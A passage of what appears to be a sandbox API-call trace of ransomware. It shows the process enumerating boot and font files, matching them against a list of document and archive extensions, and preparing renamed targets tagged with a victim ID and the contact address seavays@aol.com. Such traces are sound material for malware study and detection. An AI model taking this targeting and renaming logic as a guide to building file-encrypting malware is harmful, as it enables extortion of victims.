WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0198.210] GetTickCount () returned 0x1c3a9 [0198.210] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0198.421] GetTickCount () returned 0x1c474 [0198.421] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0198.578] GetTickCount () returned 0x1c510 [0198.578] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0198.984] GetTickCount () returned 0x1c6a6 [0198.984] GetTickCount () returned 0x1c6a6 [0198.984] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0199.250] GetTickCount () returned 0x1c7bf [0199.250] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0199.741] GetTickCount () returned 0x1c9a4 [0199.741] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0199.871] GetTickCount () returned 0x1ca21 [0199.871] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0200.044] GetTickCount () returned 0x1cacd [0200.044] GetTickCount () returned 0x1cacd [0200.044] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0200.354] GetTickCount () returned 0x1cc05 [0200.354] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0200.570] GetTickCount () returned 0x1cce0 [0200.570] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0202.258] GetTickCount () returned 0x1d377 [0202.258] GetTickCount () returned 0x1d377 [0202.258] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0202.789] GetTickCount () returned 0x1d58b [0202.789] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0203.113] GetTickCount () returned 0x1d6c3 [0203.113] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0203.381] GetTickCount () returned 0x1d7dc [0203.381] GetTickCount () returned 0x1d7dc [0203.381] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0203.605] GetTickCount () returned 0x1d8b7 [0203.605] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0203.789] GetTickCount () returned 0x1d973 [0203.789] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0204.179] GetTickCount () returned 0x1daf9 [0204.179] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x0 [0204.179] WaitForMultipleObjects (nCount=0x4, lpHandles=0x33eff5c*=0x2d8, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0204.721] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x57f2020 | out: hHeap=0x710000) returned 1 [0204.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ac328 | out: hHeap=0x710000) returned 1 [0204.732] lstrlenW (lpString=".save") returned 5 [0204.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78b9e0 | out: hHeap=0x710000) returned 1 [0204.732] lstrlenW (lpString=".[seavays@aol.com]") returned 18 [0204.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78dcf8 | out: hHeap=0x710000) returned 1 [0204.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ac3d8 | out: hHeap=0x710000) returned 1 [0204.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x775e90 | out: hHeap=0x710000) returned 1 [0204.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x775d58 | out: hHeap=0x710000) returned 1 [0204.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x775d88 | out: hHeap=0x710000) returned 1 [0204.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x775da0 | out: hHeap=0x710000) returned 1 [0204.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x775e30 | out: hHeap=0x710000) returned 1 [0204.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x775e48 | out: hHeap=0x710000) returned 1 [0204.733] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ac368 | out: hHeap=0x710000) returned 1 [0204.733] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x775d70 | out: hHeap=0x710000) returned 1 [0204.733] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78b8c0 | out: hHeap=0x710000) returned 1 [0204.733] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78ba40 | out: hHeap=0x710000) returned 1 [0204.733] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ac298 | out: hHeap=0x710000) returned 1 [0204.733] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ac3e8 | out: hHeap=0x710000) returned 1 [0204.733] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78b968 | out: hHeap=0x710000) returned 1 [0204.733] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ac378 | out: hHeap=0x710000) returned 1 [0204.733] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78b830 | out: hHeap=0x710000) returned 1 [0204.733] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ac308 | out: hHeap=0x710000) returned 1 [0204.733] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78b848 | out: hHeap=0x710000) returned 1 [0204.733] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74d7c0 | out: hHeap=0x710000) returned 1 [0204.733] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74da18 | out: hHeap=0x710000) returned 1 [0204.733] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x72a888 | out: hHeap=0x710000) returned 1 [0204.733] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x72b4e8 | out: hHeap=0x710000) returned 1 [0204.733] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x79c1c8 | out: hHeap=0x710000) returned 1 [0204.735] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x78c660 | out: hHeap=0x710000) returned 1 [0204.735] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x46c2da8 [0204.735] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2da8, Size=0x20) returned 0x459f6c8 [0204.735] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x46c2d78 [0204.735] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2d78, Size=0x20) returned 0x459f6f0 [0204.735] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0204.735] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0204.736] Wow64DisableWow64FsRedirection (in: OldValue=0x33eff7c | out: OldValue=0x33eff7c*=0x1) returned 1 [0204.736] lstrlenW (lpString="kernel32.dll") returned 12 [0204.736] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f6f0 | out: hHeap=0x710000) returned 1 [0204.736] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0204.736] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f6c8 | out: hHeap=0x710000) returned 1 Thread: id = 45 os_tid = 0xe2c Thread: id = 46 os_tid = 0xe30 [0158.635] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x37b2750 [0158.636] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x37c2758 [0158.636] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78b0c8 [0158.636] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x6) returned 0x7ac288 [0158.637] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78b0b0 [0158.637] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x40ca020 [0158.639] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78b050 [0158.640] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78b050, Size=0x20) returned 0x74dcc0 [0158.640] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78b128 [0158.640] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78b128, Size=0x20) returned 0x74dce8 [0158.640] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0158.640] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0158.640] Wow64DisableWow64FsRedirection (in: OldValue=0x3bbff50 | out: OldValue=0x3bbff50*=0x0) returned 1 [0158.640] lstrlenW (lpString="kernel32.dll") returned 12 [0158.640] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74dcc0 | out: hHeap=0x710000) returned 1 [0158.640] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0158.640] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74dce8 | out: hHeap=0x710000) returned 1 [0158.640] Sleep (dwMilliseconds=0x64) [0159.057] Sleep (dwMilliseconds=0x64) [0159.317] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0159.317] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0159.317] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0159.434] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=77664) returned 1 [0159.434] CloseHandle (hObject=0x374) returned 1 [0159.434] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0159.434] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.434] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.434] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0159.434] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0159.434] lstrlenW (lpString=".doc") returned 4 [0159.434] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0159.434] lstrlenW (lpString=".docx") returned 5 [0159.434] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0159.434] lstrlenW (lpString=".pdf") returned 4 [0159.434] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0159.434] lstrlenW (lpString=".xls") returned 4 [0159.434] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0159.434] lstrlenW (lpString=".xlsx") returned 5 [0159.434] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0159.434] lstrlenW (lpString=".ppt") returned 4 [0159.434] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0159.435] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0159.435] lstrlenW (lpString=".zip") returned 4 [0159.435] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0159.435] lstrlenW (lpString=".rar") returned 4 [0159.435] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0159.435] lstrlenW (lpString=".bz2") returned 4 [0159.435] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0159.435] lstrlenW (lpString=".7z") returned 3 [0159.435] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0159.435] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0159.435] lstrlenW (lpString=".dbf") returned 4 [0159.435] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0159.435] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0159.435] lstrlenW (lpString=".1cd") returned 4 [0159.435] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0159.435] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0159.435] lstrlenW (lpString=".jpg") returned 4 [0159.435] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0159.435] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0159.435] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0159.435] lstrlenW (lpString=".doc") returned 4 [0159.435] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0159.435] lstrlenW (lpString=".docx") returned 5 [0159.435] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0159.435] lstrlenW (lpString=".pdf") returned 4 [0159.435] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0159.435] lstrlenW (lpString=".xls") returned 4 [0159.435] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0159.435] lstrlenW (lpString=".xlsx") returned 5 [0159.436] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0159.436] lstrlenW (lpString=".ppt") returned 4 [0159.436] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0159.436] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0159.436] lstrlenW (lpString=".zip") returned 4 [0159.436] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0159.436] lstrlenW (lpString=".rar") returned 4 [0159.436] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0159.436] lstrlenW (lpString=".bz2") returned 4 [0159.436] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0159.436] lstrlenW (lpString=".7z") returned 3 [0159.436] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0159.436] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0159.436] lstrlenW (lpString=".dbf") returned 4 [0159.436] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0159.436] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0159.436] lstrlenW (lpString=".1cd") returned 4 [0159.436] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0159.436] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0159.436] lstrlenW (lpString=".jpg") returned 4 [0159.452] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0159.452] lstrcmpiW (lpString1=".ttf", lpString2=".save") returned 1 [0159.452] lstrlenW (lpString="meiryo_boot.ttf") returned 15 [0159.452] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0159.454] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=145419) returned 1 [0159.454] CloseHandle (hObject=0x374) returned 1 [0159.455] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20 [0159.455] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.455] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.455] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0159.455] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0159.455] lstrlenW (lpString=".doc") returned 4 [0159.455] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0159.455] lstrlenW (lpString=".docx") returned 5 [0159.455] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0159.455] lstrlenW (lpString=".pdf") returned 4 [0159.455] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0159.455] lstrlenW (lpString=".xls") returned 4 [0159.455] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0159.455] lstrlenW (lpString=".xlsx") returned 5 [0159.455] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0159.455] lstrlenW (lpString=".ppt") returned 4 [0159.455] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0159.455] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0159.455] lstrlenW (lpString=".zip") returned 4 [0159.455] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0159.455] lstrlenW (lpString=".rar") returned 4 [0159.456] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0159.456] lstrlenW (lpString=".bz2") returned 4 [0159.456] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0159.456] lstrlenW (lpString=".7z") returned 3 [0159.456] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0159.456] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0159.456] lstrlenW (lpString=".dbf") returned 4 [0159.456] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0159.456] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0159.456] lstrlenW (lpString=".1cd") returned 4 [0159.456] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0159.456] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0159.456] lstrlenW (lpString=".jpg") returned 4 [0159.456] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0159.456] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0159.456] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0159.456] lstrlenW (lpString=".doc") returned 4 [0159.456] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0159.456] lstrlenW (lpString=".docx") returned 5 [0159.456] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0159.456] lstrlenW (lpString=".pdf") returned 4 [0159.456] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0159.456] lstrlenW (lpString=".xls") returned 4 [0159.456] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0159.456] lstrlenW (lpString=".xlsx") returned 5 [0159.456] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0159.457] lstrlenW (lpString=".ppt") returned 4 [0159.457] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0159.457] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0159.457] lstrlenW (lpString=".zip") returned 4 [0159.457] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0159.457] lstrlenW (lpString=".rar") returned 4 [0159.457] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0159.457] lstrlenW (lpString=".bz2") returned 4 [0159.457] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0159.457] lstrlenW (lpString=".7z") returned 3 [0159.457] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0159.457] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0159.457] lstrlenW (lpString=".dbf") returned 4 [0159.457] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0159.457] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0159.457] lstrlenW (lpString=".1cd") returned 4 [0159.457] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0159.457] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0159.457] lstrlenW (lpString=".jpg") returned 4 [0159.457] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0159.457] lstrcmpiW (lpString1=".ttf", lpString2=".save") returned 1 [0159.458] lstrlenW (lpString="msjhn_boot.ttf") returned 14 [0159.458] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0159.458] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=162331) returned 1 [0159.458] CloseHandle (hObject=0x374) returned 1 [0159.458] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20 [0159.458] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.458] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.458] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0159.458] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0159.458] lstrlenW (lpString=".doc") returned 4 [0159.458] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0159.458] lstrlenW (lpString=".docx") returned 5 [0159.458] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0159.458] lstrlenW (lpString=".pdf") returned 4 [0159.459] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0159.459] lstrlenW (lpString=".xls") returned 4 [0159.459] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0159.459] lstrlenW (lpString=".xlsx") returned 5 [0159.459] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0159.459] lstrlenW (lpString=".ppt") returned 4 [0159.459] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0159.459] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0159.459] lstrlenW (lpString=".zip") returned 4 [0159.459] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0159.459] lstrlenW (lpString=".rar") returned 4 [0159.459] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0159.459] lstrlenW (lpString=".bz2") returned 4 [0159.459] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0159.459] lstrlenW (lpString=".7z") returned 3 [0159.459] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0159.459] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0159.459] lstrlenW (lpString=".dbf") returned 4 [0159.459] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0159.459] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0159.459] lstrlenW (lpString=".1cd") returned 4 [0159.459] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0159.459] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0159.459] lstrlenW (lpString=".jpg") returned 4 [0159.459] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0159.459] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0159.459] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0159.459] lstrlenW (lpString=".doc") returned 4 [0159.459] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0159.460] lstrlenW (lpString=".docx") returned 5 [0159.460] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0159.460] lstrlenW (lpString=".pdf") returned 4 [0159.460] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0159.460] lstrlenW (lpString=".xls") returned 4 [0159.460] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0159.460] lstrlenW (lpString=".xlsx") returned 5 [0159.460] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0159.460] lstrlenW (lpString=".ppt") returned 4 [0159.460] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0159.460] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0159.460] lstrlenW (lpString=".zip") returned 4 [0159.460] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0159.460] lstrlenW (lpString=".rar") returned 4 [0159.460] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0159.460] lstrlenW (lpString=".bz2") returned 4 [0159.460] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0159.460] lstrlenW (lpString=".7z") returned 3 [0159.460] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0159.460] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0159.460] lstrlenW (lpString=".dbf") returned 4 [0159.460] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0159.460] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0159.460] lstrlenW (lpString=".1cd") returned 4 [0159.460] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0159.460] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0159.460] lstrlenW (lpString=".jpg") returned 4 [0159.461] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0159.461] lstrcmpiW (lpString1=".ttf", lpString2=".save") returned 1 [0159.461] lstrlenW (lpString="msjh_boot.ttf") returned 13 [0159.461] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0159.462] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=164347) returned 1 [0159.462] CloseHandle (hObject=0x374) returned 1 [0159.462] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0x20 [0159.462] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.462] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.463] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0159.463] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0159.463] lstrlenW (lpString=".doc") returned 4 [0159.463] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0159.463] lstrlenW (lpString=".docx") returned 5 [0159.463] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0159.463] lstrlenW (lpString=".pdf") returned 4 [0159.463] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0159.463] lstrlenW 